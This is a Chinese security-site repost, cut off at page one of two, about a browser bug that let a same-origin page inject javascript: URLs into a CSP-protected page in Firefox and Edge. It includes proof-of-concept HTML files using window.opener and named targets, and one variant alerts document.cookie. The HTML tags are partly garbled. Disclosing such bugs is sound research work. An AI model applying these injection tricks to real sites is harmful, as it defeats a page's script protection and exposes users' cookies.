欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

Firefox与Edge的dom策略导致的csp bypass问题

来源:本站整理 作者:佚名 时间:2019-05-08 TAG: 我要投稿

在2018年对csp研究过一阵,发现可以通过其他的dom向存在CSP的dom注入javascript协议,来达到绕过CSP的安全防护
众所周知,CSP(内容安全策略)有两种方法来设置,一种是通过浏览器器响应头,如下:
Content-Security-Policy:sc-src 'self' https://apis.google.com
还有一种就是通过标签进行设置,如下:
meta http-equiv="Content-Security-Policy" content="sc-src 'none'">
我发现这存在一个问题,如果某页面设置了CSP,而同源下其他页面不做CSP防御的话,黑客可以利用opener和target对象来对存在CSP的页面做一个攻击。不了解这两个对象的同学可以参考p牛的target攻击的介绍以及我在17年投稿的那边文章。
回到正题,以opener为例,为此我们创建两个攻击文件,go.html与attack.html
html>
head>
  title>CSP Testtitle>
  meta http-equiv="Content-Security-Policy" content="script-src 'none'">
head>
body>
a href="./attack.html" target="_Blank">csp_let's_goa>
script>alert(location.href);script>
body>
html>
html>
 head>
  title> csp gotitle>
 head>
 body>
  script>parent.window.opener.location = "javascript:alert(location.href);"script>
 body>
html>
把两个文件放在一个目录下,你会发现,go.html因为设置了CSP,他的JS代码不能允许。但是如果在Firefox中点击了csp_let’s_go,JS就会执行,那是因为Firefox对该对象没有做防护。

而这在Chrome、Edge、Safiri中是不被允许的

就是这样,通过同源策略允许注入js,绕过了CSP的限制,同样的可以利用target来进行,这将分为两个html文件,go.html与target.html
html>
head>meta charset="utf-8">head>
body>
a href="./target.html" target="baidu" id="baidu" onclick="return start()">click mea>
script>
function start() {
    setInterval(function() {
        baidu.href="javascript:alert(location.href);";
        baidu.click();
    }, 5000);
}
script>
body>
html>
html>
head>
  title>CSP Testtitle>
  meta http-equiv="Content-Security-Policy" content="script-src 'none'">
head>
body>
csp bypass
body>
html>
同样的,这可以绕过火狐的CSP策略

对于这两个漏洞火狐给予了确定,火狐的回复是:
On the one hand this is injecting a javascript URL into the other document, which ought to be blocked. On the other hand it’s hard to get too excited because parent.window.opener.alert(location.href) would be perfectly valid — the script is being run by a context that allows it, manipulating a DOM it’s allowed to by the same-origin policy.

Edge Bug导致存在同样的问题
发现这个问题是由于在Edge测试如上代码的时候我发现我的系统资源CPU和内存被Edge占用了很高,于是我打开了调试台,看到了如下情况。

go.html一直向target.html抛出javascript协议,但是target因为CSP策略不断拒绝,go.html就会将被拒绝的请求重新请求一次,在加上时间函数累加上的请求,这里成指数增长,导致了系统资源被耗尽。
在这种情况下对页面进行刷新,可以绕过CSP:

当然这种情况下要用户主动去刷新页面或者对DOM进行操作,我们可以模拟刷新来看到这个Bug:
html>
head>
  title>CSP Testtitle>
  meta http-equiv="Content-Security-Policy" content="script-src 'none'">
head>
body>
a href="./attack.html" target="_Blank">csp_let's_goa>
script>alert(document.cookie);script>
meta http-equiv="Refresh" content="1" />
body>
html>
html>
 head>
  title> csp gotitle>
 head>

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载